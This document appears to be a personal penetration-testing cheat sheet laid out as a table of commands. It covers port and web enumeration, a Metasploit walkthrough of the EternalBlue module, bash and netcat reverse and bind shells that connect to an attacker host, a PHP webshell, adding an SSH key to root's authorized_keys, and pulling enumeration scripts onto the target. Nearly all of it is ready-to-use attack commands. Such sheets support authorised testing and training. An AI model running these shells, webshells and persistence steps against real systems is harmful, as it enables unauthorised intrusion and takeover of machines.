| Service Scanning | |
| Initial port scan with rustscan | rustscan -a [target] --ulimit 5000 -- -A -sS -Pn -oN [outfile.txt] |
| Run nmap on an IP | nmap -sC -sV -Pn [target] |
| Run an nmap script scan on an IP | nmap -sC -sV -Pn -p- [target] |
| Search for available nmap scripts | locate -r nse$ | grep [script] (my alias: locatense) |
| Run an nmap script on an IP | nmap --script smb-os-discovery.nse -p445 [target] |
| Grab banner of an open port | netcat [target] [port] |
| List SMB Shares | smbclient -N -L \\\\[target] |
| Connect to an SMB share | smbclient \\\\[target]\\users |
| Scan SNMP on an IP | snmpwalk -v 2c -c public [target] 1.3.6.1.2.1.1.5.0 |
| Brute force SNMP secret string | onesixtyone -c dict.txt [target] |
| Web Enumeration | |
Run a directory scan with ffuf | ffuf -c -t 500 -o ffuf.dir -of all -u http://[target]/FUZZ -w /home/mr/workspace/hackfiles/Auto_Wordlists/wordlists/bf_directories.txt |
Run a sub-domain scan with ffuf | ffuf -c -t 500 -o ffuf.dns -of all -u http://FUZZ.[target] -w /usr/share/seclists/Discovery/DNS/namelist.txt |
Run a directory scan with Gobuster | gobuster dir -o gobuster.dir.txt -t 500 -u [target] -w /home/mr/workspace/hackfiles/Auto_Wordlists/wordlists/bf_directories.txt |
Run a sub-domain scan with Gobuster | gobuster dns -o gobuster.dir.txt -t 500 -do [target] -w /usr/share/seclists/Discovery/DNS/namelist.txt |
| Grab website banner | curl -IL [target] |
| List details about the webserver/certificates | whatweb [target] |
List potential directories in robots.txt | curl [target]/robots.txt |
| View page source (in Firefox) | ctrl+U |
| Public Exploits | |
| Search for public exploits for a web application | searchsploit openssh 7.2 |
| MSF: Start the Metasploit Framework | msfconsole |
| MSF: Search for public exploits in MSF | search exploit eternalblue |
| MSF: Start using an MSF module | use exploit/windows/smb/ms17_010_psexec |
| MSF: View and edit module source code | edit |
| MSF: Show required options for an MSF module | show options |
| MSF: Set a value for an MSF module option | set RHOSTS [target] |
| MSF: Test if the target server is vulnerable | check |
| MSF: Run the exploit on the target server is vulnerable | exploit |
| MSF: Run module in the background | run -j |
| Using Shells | |
Start a nc listener on a local port | nc -lvnp [port] |
| Send a reverse shell from the remote server | bash -c 'bash -i >& /dev/tcp/[attack]/[port] 0>&1' |
| Another command to send a reverse shell from the remote server | rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc [attack] [port] >/tmp/f |
| Start a bind shell on the remote server | rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc -lvp [port] >/tmp/f |
| Connect to a bind shell started on the remote server | nc [target] [port] |
| Upgrade shell TTY (1) | python3 -c 'import pty; pty.spawn("/bin/bash")' |
| Upgrade shell TTY (2) | ctrl+z then stty raw -echo; fg then enter |
| Create a webshell php file | echo "<?php system(\$_GET['cmd']);?>" > /var/www/html/shell.php |
| Execute a command on an uploaded webshell | curl http://[server]:[port]/shell.php?cmd=id |
| Privilege Escalation | |
Run linpeas script to enumerate remote server | ./linpeas.sh |
List available sudo privileges | sudo -l |
Run a command with sudo | sudo -u user /bin/echo Hello World! |
Switch to root user (if we have access to sudo su) | sudo su - |
Switch to a user (if we have access to sudo su) | sudo su user - |
| Create a new SSH key | ssh-keygen -f key |
| Add the generated public key to the user | echo "ssh-rsa AAAAB...SNIP...M= user@parrot" >> /root/.ssh/authorized_keys |
| SSH to the server with the generated private key | ssh root@[target] -i key |
| Transferring Files | |
| Start a local webserver | python3 -m http.server [port] |
| Download a file on the remote server from our local machine | wget http://[server]:[port]/linpeas.sh |
| Download a file on the remote server from our local machine | curl http://[server]:[port]/linenum.sh -o linenum.sh |
Transfer a file to the remote server with scp (requires SSH access) | scp linenum.sh user@remotehost:/tmp/linenum.sh |
Convert a file to base64 | base64 shell -w 0 |
Convert a file from base64 back to its orig | echo f0VMR...SNIO...InmDwU | base64 -d > shell |
Check a file's md5sum to ensure it converted correctly | md5sum [file] |